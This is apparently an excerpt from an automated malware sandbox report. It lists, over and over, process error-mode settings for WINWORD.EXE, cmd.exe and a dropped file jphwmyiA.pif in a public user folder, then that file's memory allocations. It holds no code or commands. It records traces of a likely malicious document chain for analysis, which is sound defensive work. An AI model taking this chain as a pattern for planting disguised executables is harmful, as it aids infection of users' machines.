          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 26000000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 261D0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 281D0000 memory reserve | memory write watchJump to behavior
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 1A2E0000 memory reserve | memory write watch
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 1A450000 memory reserve | memory write watch
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 1C450000 memory reserve | memory write watch
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 2A170000 memory reserve | memory write watch
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 2A3C0000 memory reserve | memory write watch
          Source: C:\Users\Public\Libraries\jphwmyiA.pifMemory allocated: 2A310000 memory reserve | memory write watch
